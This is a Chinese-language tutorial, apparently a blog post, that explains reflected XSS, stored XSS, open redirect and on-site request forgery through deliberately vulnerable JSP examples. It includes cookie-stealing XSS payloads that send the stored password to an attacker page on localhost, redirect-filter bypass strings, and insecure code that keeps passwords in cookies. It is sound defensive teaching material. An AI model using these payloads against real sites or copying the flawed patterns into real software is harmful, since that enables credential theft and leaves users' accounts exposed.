注:本文所有的例子雖然基于 JSP/Servlet 技術開發,但是漏洞和解決方法的原理適用于其他 Web 技術。
Web 安全現狀
Web 安全現狀不容樂觀,近幾年也存在 Web 攻擊的重大實際案例,比如信息產業部官方報紙《中國電子報》網站被黑、大學生網絡銀行盜竊案等。另據調查顯示,目前網站常見攻擊手段中,SQL 注入、XSS 和跨站腳本攻擊占了很大部分。攻擊者往往沒有明確的目的性,有些攻擊并不能帶給他們利益,只是出于初學的好奇和攻擊成功的成就感,也就是說許多攻擊由于初學者引起的。實際上,像很多初學駭客的攻擊都可以被防御,只要我們了解其基本原理,就可以應付許多菜鳥駭客的攻擊,減少運維費用。所以文章再一次強調 Web 程序員需要注意編程習慣,盡力保證網站的安全。
實戰
文章從實際的 JSP 例子出發,盡力解釋安全問題產生的原因。這些例子代碼是本人初學 JSP,也是許多人在開始學習 JSP 時容易編寫的問題代碼。代碼看起來并沒有什么問題,但是往往存在巨大的漏洞。例子雖然簡單,卻很能說明問題。文章將用 6 個例子,分別講述 6 種 Web 攻擊手段及原理,以及程序員需要從哪些方便進行防御。可以從圖片介紹中查看效果。講解 6 種 Web 漏洞的順序如下表,讀者也可以選擇感興趣的部分點擊查看。
在文章的附件代碼中,包含上述各個列表項的示例程序,每個列表項對應了單獨的項目文件夾,以漏洞名稱命名,可以直接使用 Jee Eclipse 打開。
問題代碼 --- 反射型 XSS 漏洞
反射型 XSS 漏洞是一種非常常見的 Web 漏洞,原因是由于程序動態顯示了用戶提交的內容,而沒有對顯示的內容進行驗證限制。因此這就讓攻擊者可以將內容設計為一種攻擊腳本,并且引誘受害者將此攻擊腳本作為內容顯示,而實際上攻擊腳本在受害者打開時就開始執行,以此盜用受害者信息。
例子是動態顯示錯誤信息的程序,錯誤信息可以在 URL 中傳遞,顯示時服務器不加任何限制,符合反射型 XSS 攻擊的條件。
<form action="ReflectXSSServer" method="post"> 用戶名:<input type="text" name="username" value=""/><br> 密 碼:<input type="password" name="password" value=""/><br> <input type="submit" value="提交"/> </form> |
String username = request.getParameter("username"); String password = request.getParameter("password"); // 添加用戶信息到 Cookie,方便下次自動登錄 addToCookie(“username”, username); addToCookie(“password”, password); request.getRequestDispatcher(" error.jsp?error=password is wrong!").forward(request, response); |
Error Message :<%=request.getParameter("error")%> |
index.jsp 作為用戶登錄界面,提交登錄請求給 ReflectXSSServe.java。ReflectXSSServe.java 處理登錄請求,將用戶名和密碼記錄到 cookie,方便用戶下次登錄。如果登錄信息錯誤 ( 例子代碼直接認為錯誤 ),就會跳轉到 error.jsp,顯示錯誤信息,錯誤信息是通過名為 error 的參數傳遞。
問題分析
代碼很簡單,似乎也很合邏輯,但是這個程序暴露出一個嚴重的問題就是錯誤信息是通過參數傳遞,并且沒有經過任何處理就顯示。如果被攻擊者知道存在這樣一個 error.jsp,攻擊者就可以很容易的攻擊用戶并且獲得用戶的重要信息。
攻擊此程序
可以設計這樣一個 URL:http://localhost:8080/application/error.jsp?error=<script>var mess = document.cookie.match(new%20RegExp("password=([^;]*)"))[0]; window.location="http://localhost:8080/attacter/index.jsp?info="%2Bmess</script>。這看起來有點復雜,讓我們分析一下。http://localhost:8080/application/error.jsp?error= 這一部分,是 error.jsp 的地址,我們主要關心后面的錯誤信息內容,這是一段 javascript 腳本,document.cookie.match(new%20RegExp("password=([^;]*)"))[0],這樣一句話,是為了獲得 cookie 中名為 password 的值。然后,通過 window.location 重定向到攻擊者的網站,并且把 password 作為參數傳遞過去,這樣,攻擊者就知道你的密碼了。后面,只需要讓被攻擊者登錄后點擊這個 URL 就可以了。
為了讓被攻擊者可以點擊這個 URL,攻擊者往往會構建能夠吸引被攻擊者的網頁,或者郵件,這個做法有個形象的稱呼:釣魚攻擊。當被攻擊者登錄應用系統后,cookie 就保存了用戶名和密碼信息。由于設計的 URL 的主體是收信任的網站,被攻擊者往往毫不猶豫的點擊攻擊者設計的 URL,那么設計好的 script 腳本被當做信息內容嵌入到 error.jsp 中時,就會作為腳本開始執行,用戶名和密碼也就被人盜取了。
用戶輸入用戶名和密碼分別為 user 和 pass,登錄后受到釣魚攻擊,點擊了攻擊者設計的 URL。
攻擊者設計的 URL 包含攻擊腳本,攻擊腳本執行后,password 的內容被傳到另一個網站,這個應用程序是 attacter(附件中也會包含),password 信息被記錄到攻擊者的數據庫。
解決方法
盡量避免直接顯示用戶提交的數據,應進行一定的過濾,比如對于數據中存在的 < 和 > 等符號需要進行編碼,這樣就可以防止腳本攻擊。
問題代碼 --- 保存型 XSS 漏洞
保存型 XSS 漏洞的危害會更大,它是將攻擊腳本保存到被攻擊的網頁內,所有瀏覽該網頁的用戶都要執行這段攻擊腳本。
這個例子,模仿了一個論壇發表評論的網頁。對于用戶的評論,系統不加任何限制和驗證,直接保存到服務器的數據庫中(例子使用全局對象代替數據庫,作為例子演示)。并且當有其他用戶查看網頁時,顯示所有評論。
<jsp:useBean id="tl" scope="application" class="java.util.LinkedList"></jsp:useBean> <% String topic = (String)request.getParameter("topic"); if (topic != null && !topic.equals("")) { tl.add(topic); } %> <div> <% for(Object obj : tl) { String str = (String)obj; %> <div><%=str%><div/> <% } %> </div> <form action="saveXSS.jsp" method="post"> 評論:<input type="text" name="topic"/><br> <input type="submit" value="提交"/> </form> |
這里用了一個應用級的 List 對象存放評論列表,只是為了演示方便。用戶可以在 form 中編寫評論內容,提交到同一頁面 saveXSS.jsp,提交以后,List 對象增加這個評論,并且顯示出來。
問題分析
這個程序符合了保存型 XSS 攻擊的所有條件,沒有限制評論內容,程序會保存所有評論,顯示給查看網頁的用戶。只要攻擊者將攻擊腳本作為評論內容,那么所有查看評論的用戶都將執行這段攻擊腳本而受到攻擊。
攻擊此程序
攻擊這個程序所需要設計的攻擊腳本和上文的錯誤顯示內容一樣,但是需要注意的是這次不需要編碼,%20 改為空格,而 %2B 則變為 +,原因是上例是通過 URL 傳遞數據,而本例是直接通過表單傳遞數據,攻擊腳本:<script>var mess = document.cookie.match(new RegExp("password=([^;]*)"))[0]; window.location="http://localhost:8080/attacter/index.jsp?info="+mess</script>,將這個內容作為評論發表,那么當其他用戶查看這個網頁時,攻擊腳本代碼被當做內容嵌入到網頁中,攻擊腳本就被觸發執行,用戶就會受到攻擊,腳本執行過程和反射型 XSS 攻擊一致。
發表的內容是攻擊者設計的一個攻擊腳本,這個腳本被直接保存到了網頁中。任何查看此頁面的其他用戶,他們的信息都會被盜取。
>解決方法
對于保存型 XSS 漏洞,由于我們無可避免的需要顯示用戶提交的數據,所以過濾是必然的,過濾 < 和 > 等符號可以避免上述漏洞的發生。
問題代碼 --- 重定向漏洞
如果應用程序提取用戶可控制的輸入,并使用這個數據執行一個重定向,指示用戶的瀏覽器訪問一個不同于用戶要求的 URL,那么就會造成重定向漏洞。
例子允許用戶輸入一個重定向路徑,由服務器執行跳轉。
<form action="Redirect"> 地址:<input name="target" type="text"><br> <input type="submit" value="提交"> </form> |
String param = request.getParameter("target"); if (param != null && !param.equals("")) { response.sendRedirect(param); } |
用戶在 index.jsp 的表單中輸入跳轉的路徑,服務器端的 Redirect.java 執行 sendRedirect 重定向。
問題分析
程序允許讓用戶設置重定向地址,而并沒對地址內容進行驗證處理,而是直接跳轉,那么攻擊者完全可以設計一個攻擊 URL,其中包含攻擊者設計的攻擊內容,使用釣魚攻擊,誘使用戶點擊此 URL,受到攻擊。
攻擊此程序
設計 URL:http://www.baidu.com,這里只是以跳轉作為例子,并沒有構建真正有害的網站,所以使用普通地址作為演示,假設這個地址有許多有害信息。其中 http:// 頭部非常重要,它可以讓服務器執行絕對跳轉,跳轉到 www.baidu.com。如果沒有 http:// 就會跳轉到系統的相對路徑。
點擊提交,網頁就會跳轉到百度界面。
有人試圖這樣處理跳轉路徑 param:param = param.replaceFirst("http://", ""); 將第一個 http:// 替換為空字符串,認為這樣可以解決問題,但是攻擊者往往也很聰明,他會將 URL 改為 : http://http://, 即使替換了第一個,第二天 http:// 就會生效。那么如果對 param 這么處理呢:param = param.replaceAll("http://", ""); 將所有的 http:// 都替換,那么攻擊者可以將 URL 設計為 hthttp://tp://,將中間的 http:// 替換為空后,ht 和 tp:// 組合又變為 http://,攻擊又一次生效 , 因此,我們需要一個更加全面的考慮。
解決方法
避免由用戶決定跳轉的頁面,如果必須這么做,路徑中只允許出現 /以及 數字或者 英文字符可以一定程度的避免這個問題。
問題代碼 --- 本站點請求漏洞
本站點請求偽造(on-site request forgery,OSRF)是一種利用保存型 XSS 漏洞的常見攻擊有效載荷。是攻擊者設計攻擊代碼,保存到被攻擊網頁上,當普通用戶或者管理員查看頁面時,攻擊代碼就會執行,此攻擊代碼的目的是偽裝成查看網頁的用戶向服務器發出請求。
這是一個發布圖像的論壇例子,用戶可以輸入圖像 URL,論壇負責讀取此 URL 進行顯示。
img.jsp 與前文的 saveXSS.jsp 代碼相同,只是這次顯示不再是字符串,而是需要將
<div><%=str%><div/> 改為 <div><img src=<%=str%> width=50 height=50/><div/>,目的是顯示用戶上傳的圖像。
<% String username = (String)request.getParameter("username"); System.out.println("delete " + username); %> <%=username%> |
admin.jsp 是管理員用于刪除用戶的請求處理程序,admin.jsp 實際上應該會判斷是否是管理員賬戶,如果是才允許執行刪除用戶的操作。本文例子假設請求的確為管理員發出。
問題分析
這個程序明顯存在著保存型 XSS 漏洞,并且上傳的內容被作為圖像 URL,img 標簽是本站點請求漏洞的敲門器,因為 img 始終會執行 src 屬性的 URL 請求,而不管 src 指向的是否是真正的圖像。這個程序并沒有對 src 是否是圖片地址進行驗證,因此可以偽造請求。
攻擊此程序
將上傳的圖像 URL 設計為:admin.jsp? username=hello,提交上去后,從攻擊者的角度看,只是圖片沒有顯示,因為攻擊者并不是管理員,所以實際上無法刪除 hello 這個用戶。但是當管理員打開這個頁面時,img 標簽就會執行 admin.jsp? username=hello 的請求,請求刪除 hello 用戶,由于的確是管理員發出的請求,服務器執行刪除操作,刪除了 hello 用戶,攻擊者的目的也就達到了。
新聞熱點
疑難解答